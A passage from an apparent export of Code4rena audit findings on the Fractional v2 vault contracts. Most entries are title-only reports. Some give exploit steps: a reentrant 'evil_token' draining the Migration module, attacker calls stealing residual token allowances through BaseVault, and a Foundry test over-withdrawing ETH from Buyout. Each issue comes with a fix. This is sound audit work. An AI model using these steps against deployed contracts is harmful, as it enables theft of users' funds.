Migration, that could have other details favourable to them, may not realize that new shares will be calculated with the numerical truncation as a result of the new total supply introduction. Setting the severity to medium as this is a fund loss impact conditional on a user not understanding the particulars of the implementation. ## Proof of Concept Currently migrateFractions() calculates new shares to be transferred for a user as a fraction of her contribution: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L469-L472 ```solidity // Calculates share amount of fractions for the new vault based on the new total supply uint256 newTotalSupply = IVaultRegistry(registry).totalSupply(newVault); uint256 shareAmount = (balanceContributedInEth * newTotalSupply) / totalInEth; ``` If Bob the msg.sender is a minority shareholder who contributed to Migration with say some technical enhancements of the Vault, not paying attention to the total supply reduction, his share can be lost on commit(): https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L209-L210 ```solidity // Starts the buyout process IBuyout(buyout).start{value: proposal.totalEth}(_vault); ``` As commit() starts the Buyout, Bob will not be able to withdraw as both leave() and withdrawContribution() require INACTIVE state: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L149-L150 ```solidity State required = State.INACTIVE; if (current != required) revert IBuyout.InvalidState(required, current); ``` If Buyout be successful, Bob's share can be calculated as zero given his small initial share and reduction in the Vault total shares. For example, if Bob's share together with the ETH funds he provided to Migration were cumulatively less than 1%, and new total supply is 100, he will lose all his contribution on commit() as migrateFractions() will send him nothing. ## Recommended Mitigation Steps Consider requiring that the new total supply should be greater than the old one: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L95-L98 ```solidity proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply( _vault ); proposal.newFractionSupply = _newFractionSupply; + require(proposal.newFractionSupply > proposal.oldFractionSupply, \"\"); // reference version ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/611", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/610", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/609", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/608", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Receiving address might not be able to handle `WETH` instead of `ETH`", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/607", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Receiving address might not be able to handle `WETH` instead of `ETH`"}, {"title": "ERC20 RETURN VALUES NOT CHECKED", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/599", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "ERC20 RETURN VALUES NOT CHECKED"}, {"title": "It's not possible to withdraw accidentally sent funds from the Vault contract.", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/598", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "It's not possible to withdraw accidentally sent funds from the Vault contract."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/596", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/594", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/592", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/590", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/583", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/581", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/578", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Migration Module: Re-enter `commit` using custom token", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/576", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L207-L212 # Vulnerability details ## Impact HIGH - Assets can be compromised directly. One can drain eth out from migration module to buyout module using custom made FERC1155 token. ## Proof of Concept - [proof of concept: `testCommitReenter_poc`](https://gist.github.com/zzzitron/24c02e069b428f7a95ebc6c931e29b4e#file-2022-07-fractionalv2-poc-modules-t-sol-L283-L339) - [custom made FERC1155 for the attack](https://gist.github.com/zzzitron/24c02e069b428f7a95ebc6c931e29b4e#file-2022-07-fractionalv2-poc-modules-t-sol-L6-L63) The proof of concept shows a scenario where alice is draining migration module using custom made FERC1155 token. 1. setup: other people are using migration module and they deposited some eth. (using alice and bob just to simplify the set up process) 2. alice prepared the custom FERC1155 (let's say `evil_token`) 3. alice create a vault with the `evil_token` 4. alice proposes and joins with 0.5 ether 5. when alice calls `commit`, the `evil_token` will reenter `commit` and send money to buyout module Note: For a simplicity, the `evil_token` reenters for a fixed number of times. But one can adjust to drain all the eth in the migration module. Note2: For now the eth is in the buyout module, but given the current implementation of `buyout` module, the same actor can drain eth from buyout. The `commit` function is not written in Checks, Effects, Interactions (CEI) patterns. ```solidity // modules/Migration.sol::commit // proposal.isCommited and started are set after the out going calls (i.e. start, setApprovalFor) // Mitigation idea: set the values before the out going calls 206 if (currentPrice > proposal.targetPrice) { 207 // Sets token approval to the buyout contract 208 IFERC1155(token).setApprovalFor(address(buyout), id, true); 209 // Starts the buyout process 210 IBuyout(buyout).start{value: proposal.totalEth}(_vault); 211 proposal.isCommited = true; 212 started = true; 213 } ``` ## Tools Used foundry ## Recommended Mitigation Steps Follow Checks, Effects, Interactions patterns. One can also consider adding reentrancy guard. "}, {"title": "Buyout Module: `redeem`ing before the update of totalSupply will make buyout's current state success", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/574", "labels": ["bug", "2 (Med Risk)", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Buyout Module: `redeem`ing before the update of totalSupply will make buyout's current state success"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/569", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/565", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/561", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "deployFor() in VaultFactory uses tx.origin to create vault, so it's possible to redirect someone transaction to deployFor() and become the owner of their vault", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/558", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "deployFor() in VaultFactory uses tx.origin to create vault, so it's possible to redirect someone transaction to deployFor() and become the owner of their vault"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/557", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/556", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/555", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/554", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/553", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/552", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/551", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/548", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "The `FERC1155.sol` don't respect the EIP2981", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/544", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/main/src/FERC1155.sol#L31-L34 # Vulnerability details ## Impact The [EIP-2981: NFT Royalty Standard](https://eips.ethereum.org/EIPS/eip-2981) implementation is incomplete, missing the implementation of `function supportsInterface(bytes4 interfaceID) external view returns (bool);` from the [EIP-165: Standard Interface Detection](https://eips.ethereum.org/EIPS/eip-165) ## Proof of Concept A marketplace implemented royalties could check if the NFT have royalties, but if don't add the interface of `ERC2981` on the `_registerInterface`, the marketplace can't know if this NFT haves ## Tools Used Manual Review ## Recommended Mitigation Steps Like in [solmate ERC1155.sol](https://github.com/Rari-Capital/solmate/blob/03e425421b24c4f75e4a3209b019b367847b7708/src/tokens/ERC1155.sol#L137-L146) add the `ERC2981` interfaceId on the `FERC1155` contract ```solidity /*////////////////////////////////////////////////////////////// ERC165 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return super.supportsInterface(interfaceId) || interfaceId == 0x2a55205a; // ERC165 Interface ID for ERC2981 } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/542", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/540", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/539", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor disputed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/538", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/534", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/532", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/526", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/524", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/523", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/522", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/520", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/517", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/514", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/512", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/511", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/510", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/509", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/508", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/507", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/506", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Use of `payable.transfer()` may lock user funds", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/504", "labels": ["bug", "2 (Med Risk)", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Use of `payable.transfer()` may lock user funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/500", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/499", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/498", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/497", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/496", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/491", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/488", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Delegate call in `Vault#_execute` can alter Vault's ownership", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/487", "labels": ["bug", "2 (Med Risk)", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Delegate call in `Vault#_execute` can alter Vault's ownership"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/484", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/479", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/478", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/476", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Malicious Users Can Exploit Residual Allowance To Steal Assets", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/468", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L58 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L77 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L91 # Vulnerability details ## Vulnerability Details A depositor cannot have any residual allowance after depositing to the vault because the tokens can be stolen by anyone. ## Proof-of-Concept Assume that Alice has finished deploying the vault, and she would like to deposit her ERC20, ERC721, and ERC1155 tokens to the vault. She currently holds the following assets in her wallet - `1000` XYZ ERC20 tokens - APE #1 ERC721 NFT, APE #2 ERC721 NFT, APE #3 ERC721 NFT, - `1000` ABC ERC1155 tokens Thus, she sets up the necessary approval to grant [`baseVault`](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L17) contract the permission to transfer her tokens to the vault. ```solidity erc20.approve(address(baseVault), type(uint256).max); erc721.setApprovalForAll(address(baseVault), true); erc1155.setApprovalForAll(address(baseVault), true); ``` Alice decided to deposit `50` XYZ ERC20 tokens, APE #1 ERC721 NFT, and `50` ABC tokens to the vault by calling `baseVault.batchDepositERC20`, `baseVault.batchDepositERC721`, and `baseVault.batchDepositERC1155` as shown below: ```solidity baseVault.batchDepositERC20(alice.addr, vault, [XYZ.addr], [50]) baseVault.batchDepositERC721(alice.addr, vault, [APE.addr], [#1]) baseVault.batchDepositERC1155(alice.addr, vault, [ABC.addr], [#1], [50], \"\") ``` An attacker notices that there is residual allowance left on the `baseVault`, thus the attacker executes the following transactions to steal Alice's assets and send them to the attacker's wallet address. ```solidity baseVault.batchDepositERC20(alice.addr, attacker.addr, [XYZ.addr], [950]) baseVault.batchDepositERC721(alice.addr, attacker.addr, [APE.addr, APE.addr], [#2, #3]) baseVault.batchDepositERC1155(alice.addr, attacker.addr, [ABC.addr], [#1], [950], \"\") ``` [https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L58](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L58) ```solidity function batchDepositERC20( address _from, address _to, address[] calldata _tokens, uint256[] calldata _amounts ) external { for (uint256 i = 0; i < _tokens.length; ) { IERC20(_tokens[i]).transferFrom(_from, _to, _amounts[i]); unchecked { ++i; } } } ``` [https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L77](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L77) ```solidity function batchDepositERC721( address _from, address _to, address[] calldata _tokens, uint256[] calldata _ids ) external { for (uint256 i = 0; i < _tokens.length; ) { IERC721(_tokens[i]).safeTransferFrom(_from, _to, _ids[i]); unchecked { ++i; } } } ``` [https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L91](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L91) ```solidity function batchDepositERC1155( address _from, address _to, address[] calldata _tokens, uint256[] calldata _ids, uint256[] calldata _amounts, bytes[] calldata _datas ) external { unchecked { for (uint256 i = 0; i < _tokens.length; ++i) { IERC1155(_tokens[i]).safeTransferFrom( _from, _to, _ids[i], _amounts[i], _datas[i] ); } } } ``` ## Impact Lost of assets for users as a malicious user could utilise the `baseVault` contract to exploit the user's residual allowance to steal their assets. ## Recommended Mitigation Steps It is recommended to only allow the `baseVault.batchDepositERC20`, `baseVault.batchDepositERC721`, and `baseVault.batchDepositERC1155` functions to pull tokens from the caller (`msg.sender`). Considering updating the affected functions to remove the `from` parameter, and use `msg.sender` instead. ```diff function batchDepositERC20( - address _from, address _to, address[] calldata _tokens, uint256[] calldata _amounts ) external { for (uint256 i = 0; i < _tokens.length; ) { - IERC20(_tokens[i]).transferFrom(_from, _to, _amounts[i]); + IERC20(_tokens[i]).transferFrom(msg.sender, _to, _amounts[i]); unchecked { ++i; } } } ``` ```diff function batchDepositERC721( - address _from, address _to, address[] calldata _tokens, uint256[] calldata _ids ) external { for (uint256 i = 0; i < _tokens.length; ) { - IERC721(_tokens[i]).safeTransferFrom(_from, _to, _ids[i]); + IERC721(_tokens[i]).safeTransferFrom(msg.sender, _to, _ids[i]); unchecked { ++i; } } } ``` ```diff function batchDepositERC1155( - address _from, address _to, address[] calldata _tokens, uint256[] calldata _ids, uint256[] calldata _amounts, bytes[] calldata _datas ) external { unchecked { for (uint256 i = 0; i < _tokens.length; ++i) { IERC1155(_tokens[i]).safeTransferFrom( - _from, + msg.sender, _to, _ids[i], _amounts[i], _datas[i] ); } } } ``` "}, {"title": "```migrateFractions``` may be called more than once by the same user which may lead to loss of tokens for other users", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/467", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "```migrateFractions``` may be called more than once by the same user which may lead to loss of tokens for other users"}, {"title": "Malicious User Could Burn The Assets After A Successful Migration", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/459", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Malicious User Could Burn The Assets After A Successful Migration"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/458", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/456", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/454", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/453", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/452", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/450", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/449", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Installing vault plugins with colliding function selectors can cause issues", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/446", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "Installing vault plugins with colliding function selectors can cause issues"}, {"title": "Cash-out from a successful buyout allows an attacker to drain Ether from the `Buyout` contract", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/440", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L268-L269 # Vulnerability details ## Impact The function `Buyout.cash` allows a user to cash out proceeds (Ether) from a successful vault buyout. However, due to how `buyoutShare` is calculated in `Buyout.cash`, users (fractional vault token holders) cashing out would receive more Ether than they are entitled to. The calculation is wrong as it uses the initial Ether balance stored in `buyoutInfo[_vault].ethBalance`. Each consecutive cash-out will lead to a user receiving more Ether, ultimately draining the Ether funds of the `Buyout` contract. ## Proof of Concept Copy paste the following test case into `Buyout.t.sol` and run the test via `forge test -vvv --match-test testCashDrainEther`: The test shows how 2 users Alice and Eve cash out Ether from a successful vault buyout (which brought in `10 ether`). Alice and Eve are both entitled to receive `5 ether` each. Alice receives the correct amount when cashing out, however, due to a miscalculation of `buyoutShare` (see [#L268-L269](https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L268-L269)), Eve can cash-out `10 ether` from the `Buyout` contract. ```solidity function testCashDrainEther() public { /// ================== /// ===== SETUP ===== /// ================== deployBaseVault(alice, TOTAL_SUPPLY); (token, tokenId) = registry.vaultToToken(vault); alice.ferc1155 = new FERC1155BS(address(0), 111, token); bob.ferc1155 = new FERC1155BS(address(0), 222, token); eve.ferc1155 = new FERC1155BS(address(0), 333, token); buyout = address(buyoutModule); proposalPeriod = buyoutModule.PROPOSAL_PERIOD(); rejectionPeriod = buyoutModule.REJECTION_PERIOD(); vm.label(vault, \"VaultProxy\"); vm.label(token, \"Token\"); setApproval(alice, vault, true); setApproval(alice, buyout, true); setApproval(bob, vault, true); setApproval(bob, buyout, true); setApproval(eve, vault, true); setApproval(eve, buyout, true); alice.ferc1155.safeTransferFrom( alice.addr, bob.addr, 1, 6000, \"\" ); alice.ferc1155.safeTransferFrom( alice.addr, eve.addr, 1, 2000, \"\" ); /// ================== /// ===== SETUP END ===== /// ================== /// Fraction balances: assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000 assertEq(getFractionBalance(bob.addr), 6000); // Bob: 6000 assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000 bob.buyoutModule.start{value: 10 ether}(vault); assertEq(getETHBalance(buyout), 10 ether); /// Bob (proposer of buyout) transfered his fractions to buyout contract assertEq(getFractionBalance(buyout), 6000); vm.warp(rejectionPeriod + 1); bob.buyoutModule.end(vault, burnProof); /// Fraction balances after buyout ended: assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000 assertEq(getFractionBalance(bob.addr), 0); // Bob: 0 assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000 assertEq(getETHBalance(buyout), 10 ether); /// Alice cashes out 2000 fractions -> 5 ETH (correct amount) alice.buyoutModule.cash(vault, burnProof); assertEq(getFractionBalance(alice.addr), 0); assertEq(getETHBalance(alice.addr), 105 ether); /// Eve cashes out 2000 fractions -> REVERTS (internally it calculates Eve would receive 10 ETH instead of the entitled 5 ETH). If the contract holds sufficient Ether from other successful buyouts, Eve would receive the full 10 